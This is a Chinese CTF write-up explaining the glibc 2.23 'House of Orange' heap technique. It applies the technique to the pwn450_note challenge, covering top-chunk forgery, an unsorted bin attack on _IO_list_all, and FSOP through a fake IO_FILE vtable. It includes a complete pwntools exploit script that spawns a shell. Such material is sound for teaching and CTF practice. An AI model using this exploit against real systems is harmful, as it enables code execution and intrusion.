House of Orange 前言 House Of Orange 核心就是通过漏洞利用获得 free 的效果
这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins
后续可以配合 unsorted bin attack 和 FSOP 获取 shell
利用条件
有堆溢出,可以修改 top chunk size
可以申请较大的空间
没有释放模块(看见程序没有 free,realloc等函数时,优先考虑打House Of Orange)
伪造的 top chunk size 的要求 :
0x0fe1、0x1fe1、0x2fe1、0x3fe
利用姿势
通过堆溢出修改 top chunk size为“0x0fe1”
申请“0x2000”的空间
版本影响
libc-2.23:可用打通
libc-2.24:增加了 vtable check,但仍然可以绕过
libc-2.27:完全失效
实战 pwn450_note_2016东华杯 此题仅能申请一个块,申请大小>=0x200,可释放,可修改,edit的时候有无限制的溢出,环境是2.23,glibc2.23中对vtable位置还没有2.24中添加的限制。
add
只能添加一个堆块,并且大小必须大于0x200,会给出该堆块的地址(于是我们可以知道,因为我们只能申请一个块,并且大小大于0x80(小于0x80会被放到fast bin中),于是我们释放后就会被top chunk合并。并且给出了该堆块的地址,可以用来获取堆块地址)
edit
该函数没有做边界限制,于是我们可以用来无限溢出
delte
该函数就是简单的free并且,赋值为0了,就没有double free 漏洞
没有show
首先要解决如何实现地址泄露,正常来说通过创建函数可以得到堆地址,但是如何得到libc的地址?答案是可以通过申请大的堆块,申请堆块很大时,mmap出来的内存堆块会紧贴着libc,可通过偏移得到libc地址。从下图中可以看到,当申请堆块大小为0x200000时,申请出来的堆块紧贴libc,可通过堆块地址得到libc基址。
如何得到unsorted bin?想要利用unsorted bin attack实现_IO_list_all
的改写,那么就需要有unsorted bin才行,只有一个堆块,如何得到unsorted bin?答案是利用top chunk不足时堆的分配的机制,当top chunk不足以分配,系统会分配新的top chunk并将之前的chunk 使用free函数释放,此时会将堆块释放至unsorted bin中。我们可以利用覆盖,伪造top chunk的size,释放的堆块需满足下述条件:
1 2 3 4 assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 ));
即:
size需要大于0x20(MINSIZE)
prev_inuse位要为1
top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)
最终利用unsorted bin attack,将_IO_list_all
指向main_arena
中unsorted_bins
数组的位置。
于是我们需要在main_arena
中unsorted_bins
数组的位置开始伪造fake_IO_FILE
,由下表的IO_FILE结构体可以知道,虽然main_arena的数据不可控,但是它的chain字段却是可控的,因为我们可以通过伪造一个大小为0x60
的small bin释放到main arena中,从而在unsorted bin attack后,该字段刚好被当作_chain
字段。然后在堆上伪造fake_IO_FILE即可,就可以控制该FILE的vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 'amd64' :{ 0x0 :'_flags' , 0x8 :'_IO_read_ptr' , 0x10 :'_IO_read_end' , 0x18 :'_IO_read_base' , 0x20 :'_IO_write_base' , 0x28 :'_IO_write_ptr' , 0x30 :'_IO_write_end' , 0x38 :'_IO_buf_base' , 0x40 :'_IO_buf_end' , 0x48 :'_IO_save_base' , 0x50 :'_IO_backup_base' , 0x58 :'_IO_save_end' , 0x60 :'_markers' , 0x68 :'_chain' , 0x70 :'_fileno' , 0x74 :'_flags2' , 0x78 :'_old_offset' , 0x80 :'_cur_column' , 0x82 :'_vtable_offset' , 0x83 :'_shortbuf' , 0x88 :'_lock' , 0x90 :'_offset' , 0x98 :'_codecvt' , 0xa0 :'_wide_data' , 0xa8 :'_freeres_list' , 0xb0 :'_freeres_buf' , 0xb8 :'__pad5' , 0xc0 :'_mode' , 0xc4 :'_unused2' , 0xd8 :'vtable' } }
然后就是通过FSOP去getshell即可
当调用_IO_flush_all_lockp
时,_IO_list_all
的头节点并不会使得我们可以控制执行流,但是当通过fp = fp->_chain
链表,对第二个节点进行刷新缓冲区的时候,第二个节点的数据就是完全可控的。我们就可以伪造该结构体,构造好数据以及vtable,在调用vtable中的_IO_OVERFLOW
函数时实现对执行流的劫持。
下面是该题FSOP的函数调用栈
更详细的解释在EXP中
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context.os = 'linux' context.terminal = ['tmux' , 'splitw' , '-h' ] context.log_level = 'debug' def db (): gdb.attach(p,''' b *0x400946 b *0x04009EE b *0x4009AA b _itoa_word c ''' ) pause() def new (size ): p.sendlineafter('>>' ,'1' ) p.sendlineafter('size:' ,str (size)) def edit (content ): p.sendlineafter('>>' ,'3' ) p.sendafter('content:' ,content) def free (): p.sendlineafter('>>' ,'4' ) p = process('./main' ) libc= ELF('../../how2heap/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ,checksec=False ) db() new(0x200000 ) libc_base = int (p.recvuntil("\n" )[:-1 ],16 )- 0x10 + 0x201000 IO_list_all=libc_base+libc.sym["_IO_list_all" ] unsorted_bins=libc_base+libc.sym['__malloc_hook' ]+0x58 + 0x10 system=libc_base+libc.sym['system' ] print ("libc_base ------------> 0x%x" %libc_base)free() new(0x2F0 ) heap_base = int (p.recvuntil("\n" )[:-1 ],16 )-0x10 edit('\x00' *0x2F0 +p64(0 ) + p64(0xD01 ) + '\n' ) free() new(0x1000 ) free() new(0x2F0 ) edit('\x00' *0x2F8 + p64(0xCE1 ) + p64(unsorted_bins)*2 + '\x00' *0xCC0 + p64(0xCE0 ) + p64(0x11 ) + '\n' ) free() new(0x3F0 ) free() new(0x2F0 ) data = '\x00' *0x2F0 + p64(0 ) + p64(0x401 ) + p64(heap_base + 0x300 + 0x400 ) + p64(unsorted_bins) + '\x00' *(0x3F0 -0x10 ) fake_IO_FILE = '/bin/sh\x00' + p64(0x61 ) + p64(unsorted_bins) + p64(IO_list_all -0x10 ) fake_IO_FILE += p64(0 ) + p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xC0 ,'\x00' ) fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF )*3 vtable = heap_base + 0x300 + 0x400 + len (fake_IO_FILE) + 8 fake_IO_FILE += p64(vtable) fake_IO_FILE += p64(0 ) + p64(0 ) fake_IO_FILE += p64(1 ) + p64(system) data += fake_IO_FILE edit(data + '\n' ) free() new(0x500 ) p.interactive()
最终拿到shell